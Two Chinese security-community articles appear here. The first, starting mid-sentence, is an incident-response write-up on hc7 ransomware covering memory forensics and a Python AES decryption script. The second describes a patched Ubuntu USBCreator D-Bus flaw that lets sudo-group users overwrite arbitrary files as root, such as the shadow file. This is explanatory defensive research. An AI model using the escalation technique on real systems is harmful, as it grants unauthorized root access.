Gillespie](https://twitter.com/demonslay335)曾经发表过关于另一个较为相似的变种（hc6）的一系列文章。此前，我曾经和Michael以及Emsisoft的Wosar共同研究过一个[勒索软件](https://yrz.io/decrypting-the-negozi-ransomware)，因此，我与他取得了联系，并得到了他们二位的大力协助。
Michael此前已经成功将变种hc6解密，通过对比我们发现，hc7是在hc6基础上修改得到的可执行文件。其不同点在于：hc7使用了一个提供的用户参数，来替代此前hc6中的硬编码值（Hardcoded
Value）。
## 获取内存内容
作为一种临时防范措施，我们的客户已经将大部分计算机关掉，试图借此来阻止勒索病毒的传播。但幸运的是，我们发现还有一台计算机没有被关闭，并且并没有员工对其进行操作。考虑到这一点，我们立即将该计算机的内存状态进行转储，从而方便我们对病毒的离线分析，与此同时，我们的团队也可以同时执行恢复工作。
首先，我们使用了Magnet Forensics公司的RAM Capture实用程序，将被感染的Windows
10工作站的内存复制并写入磁盘。在Windows环境下，目前有多种工具都可以转储RAM，但根据经验，我们使用的Magnet系列工具是最为好用的。
在将RAM内容转储到磁盘之前，需要注意确保所选择的目标磁盘有足够的空间，所需空间与该计算机RAM的物理大小是一致的。具体到我们这台，该工作站有8GB的物理RAM，并且同时有足够的磁盘空间用来转储。虽然Magnet实用程序提供了一个[图形界面](https://www.magnetforensics.com/computer-forensics/acquiring-memory-with-magnet-ram-capture/)，但我还是更喜欢使用命令行，因为借助命令行可以更方便的远程操作，此外还能更方便地编写脚本。
在这里，我们需要远程控制客户端，并且还需要传输文件来分析内存中的内容。在这里我们建议，在传输文件前应该对其进行压缩，这样能显著缩小文件的大小，从而加快传输速度。经过尝试，我们采用7zip格式压缩后，文件大小已经减少了将近一半，约为4GB，这就为我们节约了很多宝贵的时间。
##
## 寻找加密密钥
当我们传回文件之后，就可以使用Volatility进行分析。Volatility是一个非常出色的内存取证工具包，该工具包支持多种不同的操作系统，可以从内存中提取出有用的信息。关于如何安装Volatility，请参考[这里](https://github.com/volatilityfoundation/volatility/wiki/Installation)。关于使用Volatility过程中所涉及到的命令，请参考[这里](https://github.com/volatilityfoundation/volatility/wiki/Command-Reference)。尽管我们可以在很多种操作系统上安装Volatility，但我还是更倾向于Linux环境，这样我们就可以使用grep来筛选输出内容。
首先，我们在命令提示符中输入“ver”，以获得所获取RAM映像的主机的具体操作系统版本和内部版本号。我们现在分析的RAM，是来自一台64位的Windows
10计算机，其内部版本号为Build
15063。了解系统的版本非常重要，因为我们后面，必须针对该内存文件，在Volatility上进行相应的配置，这样才能得到有效且准确的结果。如果在使用Volatility过程中，出现了长时间的挂起状态，或者出现了报错，那么就应该重新检查并保证配置文件全部正确。如需查看列表，请使用–info。
为了验证Volatility是否能够正常工作，我们可以使用一些基本命令，来确保能从内存映像中正确解析出数据。比如，我们可以检查一下是否能查看主机的进程列表。
通常情况下，例如cmdscan和consoles这样的Volatility内置模块会产生我们想要查找的信息（由用户通过命令行提供的密码）。在这种情况下，我们就不能通过任何方法找到该命令。反之，我们可以提取RAM中的字符串，通过搜索来得到更多的信息。具体而言，我们可以利用Sysinternals工具的“strings.exe”应用程序，将原始字符串数据写入到文本文件。
我们首先利用了Volatility中的“strings”插件，将原始数据转换为更方便我们分析的数据。我们使用“strings”模块将ram_strings.txt文件导入到Volatility中，将数据映射到操作系统中的特定内存地址。尽管这一步，很可能并不需要hc7勒索病毒的密码，但为了过程的完整性，我们还是加入了相应的步骤。在通常的分析过程中，这是一个可以获得能使用grep的字符串输出的常用方法。
后来我们发现，借助Volatility进行的字符串转换过程是没有必要的。因为，我们可以直接使用strings.exe从捕获的RAM中提取密码。在文件被复制到磁盘后，我们可以简单地执行findstr，来获取相关的文本文件，以希望能获取到我们想要的密码。经过尝试，在搜索了“psexesvc”之后，我们找到了一个疑似密码的匹配项，如下所示。
我们发现，命令行中所显示的密码显然是一个人工输入的密码，因为该密码中包含客户的企业名称。要解密数据，显然还需要进一步的工作。首先，尝试反编译hc7.exe
PyInstaller包。我们使用[Pyinstxtractor](https://sourceforge.net/projects/pyinstallerextractor/)来提取捆绑的可执行文件的包内容，但在反编译主要的“hc9”脚本过程中，遇到了一些问题。随后，我又找到Michael
Gillespie寻求帮助，他说他在分析hc6时也遇到了同样的情况。根据Michael提供的办法，我们参考了[0xec_编写的教程](https://twitter.com/demonslay335/status/936721282221137920)，将Python2.7的magic
header注入到可执行文件中，由此就解决了这一问题。
##
## 解密过程
我们参考了0xec博客上[关于hc6逆向的文章](https://0xec.blogspot.com/2017/12/reversing-pyinstaller-based-ransomware.html)，他是借助HxD，将相关字节注入到文件的开始部分，并使用pycdc来将其正确地反编译。经过代码审计，我们发现代码非常相似。更幸运的是，攻击者还在hc6变种中留下了一个函数，该函数可以完成所有的工作。我们参考0xec博客中给出的hc6解密函数，写了一个简单的脚本，并通过我们从RAM中恢复的代码，成功解密了一个文件。
from Crypto.Hash import SHA256
from Crypto.Cipher import AES
import os
import random
import sys
import base64
FILE_EXTENSION = '.GOTYA'
def getDigest(password):
hasher = SHA256.new(password)
return hasher.digest()
def decrypt(key, FileName):
OutputFile = os.path.join(os.path.dirname(FileName), os.path.basename(FileName.replace(FILE_EXTENSION, '')))
chunkS = 65536
with open(FileName, 'rb') as infile:
fileS = infile.read(16)
IniVect = infile.read(16)
decryptor = AES.new(key, AES.MODE_CBC, IniVect)
with open(OutputFile, 'wb') as outfile:
while True:
chunk = infile.read(chunkS)
if len(chunk) == 0:
break
outfile.write(decryptor.decrypt(chunk))
outfile.truncate(int(fileS))
def run_decrypt():
if len(sys.argv) < 3:
print('Error')
sys.exit(0)
password = sys.argv[1]
filename = sys.argv[2]
decrypt(getDigest(password), filename)
if __name__ == "__main__":
run_decrypt()
## 结语
感谢demonslay335对这一系列研究所提供的帮助，同时感谢[0xec_](https://twitter.com/0xec_)针对逆向hc6变种给出的优秀指导。对于受该病毒感染的用户，都可以按照上述方法来进行解密操作。此外，demonslay335还更新了他的[hc6解密器](https://twitter.com/demonslay335/status/937728159084089344)，更新后的版本将允许用户提供已经找到的密码。 | 社区文章 |
研究人员利用Ubuntu桌面版USBCreator D-Bus漏洞进行权限提升。
# 摘要
研究人员发现USBCreator
D-Bus接口漏洞，攻击者利用该漏洞可以绕过sudo的密码安全策略以sudoer组用户权限访问。漏洞允许攻击者以root权限用任意内容覆写任意文件，而且无需提供密码。比如，覆写shadow文件或为root文件设置密码就可以进行权限提升。
# D-Bus简介
Ubuntu桌面版利用D-Bus作为进程间通信（inter-process communications,
IPC）的中介。在ubuntu中，有多个消息总线可以同时运行：system总线和session总线。system总线是特权服务用来提供系统范围内相关的服务，每个登陆的用户都有一个session总线，只对特定用户提供相关的服务。因为要进行权限替身，因此本文主要关注如何以更高的权限来运行session总线服务。
注：D-Bus架构对每个session总线都使用一个router，会将客户端消息重定向到尝试交互的服务。客户端需要指定需要发送消息的服务的地址。
每个服务在对象和服务中有定义。可以把对象看作标准OOP语言的类的实例。每个唯一的实例在对象路径中都可以唯一识别，对象路径看起来像一个唯一识别每个服务暴露的对象的文件系统路径的字符串。标准接口`org.freedesktop.DBus.Introspectable`有助于本研究。该接口含有一个简单的方法`Introspect`，可以返回对象支持的方法、信号和特征的XML表示，本文主要关注其中的方法。
研究人员使用2个工具来与D-Bus接口进行通信：CLI工具gdbus和D-Feet。Gdbus可以很容易地调用脚本中方法暴露的D-Bus；D-Feet是一个基于GUI工具的python脚本，可以在每个总线上枚举可用的服务，并查看每个服务含有哪些对象。
图1. D-Feet 主窗口
图2. D-Feet接口界面
图1中可以看到用D-Bus
daemon系统总线注册的不同服务。研究人员选择`org.debin.apt`服务，D-Feet就可以自动查询所有可用对象的服务。一旦选择特定的对象，所有的接口集、对应的方法特征和信号都会列出来，如图2所示。
可以看到每个进程的pid以及命令行。这是非常有用的特征，因为可以验证正在检查的目标服务器是部署以更高的权限在运行。系统总线上的一些服务并不是以root权限运行的。
D-Feet允许用户调用不同的方法。在输入屏的方法中，可以执行python表达式的列表，用逗号分开，会被翻译为调用函数的参数如图3所示。Python类型会被理解为D-Bus类型并传递给服务。
图3. 通过D-Feet调用D-Bus方法
一些方法在调用前需要认证。研究人员没有使用这些方法，因为研究的目标是在不提供凭证的情况下进行权限提升。
图4. 需要认证的方法
一些服务器会查询另一个D-bus服务`org.freedeskto.PolicyKit1`用户是否允许来执行特定的动作。
# 漏洞分析
在搜索不同的D-bus服务时，研究人员发现了一个以非特权服务存在的特权服务，该服务不需要认证，而且用户控制的输入会影响其操作。在对用户输入不做适当的处理和验证的情况下，调用程序或文件I/O操作都可能会导致系统被黑。
有漏洞的特定服务是`com.ubuntu.USBCreator`。在`/com/ubuntu/USBCreator`对象下有一个Image方法，是由Ubuntu的USB
Creator工具使用的。
图5. com.ubuntu.USBCreator服务
图6. /com/ubuntu/USBCreator的Image方法
研究人员分析该服务，发现它属于特权服务
图7. 服务是特权服务
因为该服务是python实现的，因此可以简单检查相关的源代码。首先，研究人员注意到与该方法进行交互要求的权限是`com.ubuntu.usbcreator.image`。可以从源代码中看到会查询polkit来确定请求的用户是否被授权该请求，第172行。
图8. USBCreator源码
通过检查polkit的配置文件，如图9所示，研究人员发现Unix组sudo有这个功能。相关的文件位于`/var/lib/polkit-1/localauthority`，研究人员检查的文件是`/var/lib/polkit-1/localauthority/10-vendor.d/com.ubuntu.desktop.pkla`。
图9. 从26行开始表明哪个组允许访问com.ubuntu.usbcreator.image
通过检查该服务的源代码，研究人员发现其中含有一个Unix工具`dd`的python实现。该工具可以用来在不同位置之间复制文件。方法`_builtin_dd`的输入可以直接从用户输入中获取。而且在源或目标路径上都不会进行路径处理检查，也不会使用密码同时，这就允许用户以root权限来覆写文件系统上的任意文件，如图10所示。
图10. 以root权限在无需密码的情况下创建文件
# 结论
目前还没有发现该漏洞的任何在野利用。6月18日，Ubuntu已经发布了补丁要求在启动USBCreator实际提供密码认证。
<https://unit42.paloaltonetworks.com/usbcreator-d-bus-privilege-escalation-in-ubuntu-desktop/> | 社区文章 |
Subsets and Splits